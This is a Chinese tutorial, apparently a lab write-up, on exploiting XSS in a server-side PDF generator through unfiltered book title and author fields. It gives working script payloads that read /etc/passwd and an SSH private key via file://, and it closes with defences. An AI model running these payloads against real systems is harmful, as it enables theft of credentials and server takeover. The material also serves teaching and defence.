XSS漏洞_从PDF中获取数据
字数 758 2025-08-04 22:51:28

从PDF中获取数据的XSS漏洞利用教学文档

一、漏洞背景

该漏洞存在于一个允许用户上传图书内容并生成PDF文件的功能中。攻击者可以通过精心构造的输入,在生成的PDF文件中注入恶意脚本,进而读取服务器上的敏感文件。

二、漏洞原理

  1. 输入未充分过滤:系统未对用户输入的书名、作者等信息进行充分的HTML标签过滤
  2. PDF生成器解析HTML:后台生成PDF时解析了HTML标签,导致XSS攻击成为可能
  3. file协议可用:生成的PDF在浏览器中打开时使用file协议,允许访问本地文件系统

三、漏洞利用步骤

1. 识别可控输入点

  • 书名输入框
  • 作者输入框
  • 图书内容上传区域

2. 测试HTML标签解析


验证HTML标签是否被解析执行

3. 探测使用的协议

<script>document.write(document.location.href)</script>

确认使用的是file协议

4. 构造文件读取payload

读取/etc/hosts文件:

<script>
x = new XMLHttpRequest;
x.onload = function(){document.write(this.responseText)};
x.open('GET','file:///etc/hosts');
x.send();
</script>

读取/etc/passwd文件:

<script>
x = new XMLHttpRequest;
x.onload = function(){document.write(this.responseText)};
x.open('GET','file:///etc/passwd');
x.send();
</script>

5. 读取SSH私钥

<script>
x = new XMLHttpRequest;
x.onload = function(){document.write(this.responseText)};
x.open("GET","file:///home/reader/.ssh/id_rsa");
x.send();
</script>

四、漏洞危害

  1. 读取服务器敏感文件(/etc/passwd、/etc/shadow等)
  2. 获取SSH私钥,可能导致服务器完全沦陷
  3. 结合其他漏洞(如SSRF、LFI)可扩大攻击面

五、防御措施

  1. 输入过滤:对所有用户输入进行严格的HTML标签过滤
  2. 禁用JavaScript执行:在PDF生成过程中禁用JavaScript执行
  3. 使用安全协议:避免使用file协议生成PDF
  4. 内容安全策略:实施严格的内容安全策略(CSP)
  5. 最小权限原则:PDF生成服务应运行在受限账户下

六、总结

该漏洞展示了XSS攻击如何从简单的弹窗演变为严重的服务器敏感信息泄露。关键在于:

  • 确认HTML标签被解析
  • 探测可用协议
  • 构造文件读取payload
  • 逐步提升攻击效果

组合利用多个漏洞可以显著提高攻击效果,防御时也需要采取多层次的安全措施。

从PDF中获取数据的XSS漏洞利用教学文档 一、漏洞背景 该漏洞存在于一个允许用户上传图书内容并生成PDF文件的功能中。攻击者可以通过精心构造的输入,在生成的PDF文件中注入恶意脚本,进而读取服务器上的敏感文件。 二、漏洞原理 输入未充分过滤 :系统未对用户输入的书名、作者等信息进行充分的HTML标签过滤 PDF生成器解析HTML :后台生成PDF时解析了HTML标签,导致XSS攻击成为可能 file协议可用 :生成的PDF在浏览器中打开时使用file协议,允许访问本地文件系统 三、漏洞利用步骤 1. 识别可控输入点 书名输入框 作者输入框 图书内容上传区域 2. 测试HTML标签解析 验证HTML标签是否被解析执行 3. 探测使用的协议 确认使用的是file协议 4. 构造文件读取payload 读取/etc/hosts文件: 读取/etc/passwd文件: 5. 读取SSH私钥 四、漏洞危害 读取服务器敏感文件(/etc/passwd、/etc/shadow等) 获取SSH私钥,可能导致服务器完全沦陷 结合其他漏洞(如SSRF、LFI)可扩大攻击面 五、防御措施 输入过滤 :对所有用户输入进行严格的HTML标签过滤 禁用JavaScript执行 :在PDF生成过程中禁用JavaScript执行 使用安全协议 :避免使用file协议生成PDF 内容安全策略 :实施严格的内容安全策略(CSP) 最小权限原则 :PDF生成服务应运行在受限账户下 六、总结 该漏洞展示了XSS攻击如何从简单的弹窗演变为严重的服务器敏感信息泄露。关键在于: 确认HTML标签被解析 探测可用协议 构造文件读取payload 逐步提升攻击效果 组合利用多个漏洞可以显著提高攻击效果,防御时也需要采取多层次的安全措施。